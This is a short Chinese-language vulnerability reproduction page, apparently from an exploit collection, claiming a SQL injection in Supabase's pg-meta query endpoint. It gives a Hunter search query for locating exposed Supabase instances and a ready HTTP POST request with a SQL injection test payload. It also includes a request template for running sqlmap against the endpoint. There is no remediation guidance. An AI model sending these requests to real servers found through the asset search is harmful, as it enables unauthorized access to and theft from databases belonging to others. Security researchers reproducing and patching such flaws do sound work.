# Supabase query存在SQL注入漏洞 # 一、漏洞简介 Supabase是一个开源的Firebase替代品,提供了一系列的后端功能,让你可以更快地构建产品。它使用PostgreSQL作为数据库,支持SQL和RESTful API访问。此外,Supabase提供了完整的认证系统,支持邮箱、手机号、第三方服务等多种登录方式。Supabase 存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息甚至可获得服务器权限。 # 二、影响版本 + Supabase # 三、资产测绘 + hunter`app.name="Supabase"` + 特征 ![1701170235545-bdaa2d9d-5918-4200-b9e7-7b89025dcb08.png](./img/xJRj9JN6yjABftPr/1701170235545-bdaa2d9d-5918-4200-b9e7-7b89025dcb08-568605.png) # 四、漏洞复现 ```plain POST /api/pg-meta/default/query HTTP/1.1 Host: xx.xx.xx.xx Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 103 {"query":"(SELECT CONCAT(CONCAT('qjpzq',(CASE WHEN (2016=2016) THEN '1' ELSE '0' END)),'qkbbq'))"} ``` ![1701170299913-9a46ea32-48ba-4adb-83f8-1e8e52b81aab.png](./img/xJRj9JN6yjABftPr/1701170299913-9a46ea32-48ba-4adb-83f8-1e8e52b81aab-284336.png) sqlmap ```plain POST /api/pg-meta/default/query HTTP/1.1 Host: xx.xx.xx.xx Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 103 {"query":""} ``` ![1701170323505-a6156120-f091-409e-aeb7-4d96a390a4e4.png](./img/xJRj9JN6yjABftPr/1701170323505-a6156120-f091-409e-aeb7-4d96a390a4e4-551880.png) > 更新: 2024-02-29 23:55:44 > 原文: